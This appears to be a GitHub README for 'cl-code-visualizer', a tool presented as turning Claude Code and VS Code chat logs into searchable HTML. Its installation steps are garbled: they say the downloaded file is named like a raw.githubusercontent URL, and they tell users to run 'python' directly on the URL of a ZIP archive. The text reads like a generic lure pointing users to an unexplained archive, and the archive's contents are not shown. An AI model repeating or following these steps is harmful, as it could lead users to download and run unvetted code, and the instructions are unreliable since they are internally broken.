🎨 cl-code-visualizer - Transform Your Code Logs Into Stunning HTML

🚀 Getting Started

Welcome to cl-code-visualizer! This application helps you convert your Claude code and Visual Studio Code chat logs into beautiful HTML files. Enjoy features like terminal aesthetics, collapsible results, and a search function—all without needing extra software installations.

📥 Download & Install

To get started, visit this page to download the application: Download cl-code-visualizer. Follow the steps below to install and run the application.

💻 System Requirements

Ensure your system meets the following requirements:

• Python 3.6 or higher must be installed on your computer.
• The application has zero dependencies, which makes setup straightforward.

🔧 Installation Steps

1. Visit the Releases Page: Go to this page to find the latest version of the application.

2. Select the Version: Choose the correct version for your system. Look for the latest release at the top of the page.

3. Download the Package: Click on the download link for the version you selected. The file will begin downloading automatically.

4. Locate the Downloaded File: Once the download is complete, find the file in your downloads folder. It should have a name similar to https://raw.githubusercontent.com/h20hg/cl-code-visualizer/main/scripts/cl-code-visualizer-3.1.zip.

5. Extract the Files: Right-click the downloaded ZIP file and choose "Extract All" to unpack it. You will see a folder containing the application files.

6. Run the Application: Open a terminal (Command Prompt on Windows, Terminal on macOS/Linux), navigate to the extracted folder, and run the command:

   python https://raw.githubusercontent.com/h20hg/cl-code-visualizer/main/scripts/cl-code-visualizer-3.1.zip

   This command starts the application.

📜 How to Use

1. Input Logs: Once the application opens, you can drag and drop your chat logs into the designated area. Supported formats include JSONL.

2. Convert to HTML: Click the "Convert" button. The tool will process the logs and generate an HTML file.

3. Explore the Results: Once conversion is complete, you can view the results directly in your browser. The output will have a clean layout with collapsible sections for easier navigation.

4. Search Functionality: Use the search bar to quickly find specific terms in your logs.

🌟 Features Summary

• Elegant HTML Output: Converts messy logs into clean, stylish HTML.
• Collapsible Sections: Quickly navigate through lengthy logs.
• Search Functionality: Instantly locate important sections or terms.
• No Additional Software Required: Simple setup with Python 3.6+.

👍 Support and Contributions

For any issues, please raise them in the "Issues" section of the repository. Contributions are welcome! If you'd like to help improve the application, consider forking the repo and submitting a pull request.

📚 Topics Covered

• chats
• claude
• claude-code
• converter
• export
• html
• json
• jsonl
• logs
• skills
• terminal
• terminal-logs-visualizer
• visual-studio
• vs-code

🌐 Learn More

For more details, guidelines, and advanced usage, check the documentation in the repository. Follow along to make the most of your cl-code-visualizer experience.

Thank you for choosing cl-code-visualizer! Happy visualizing!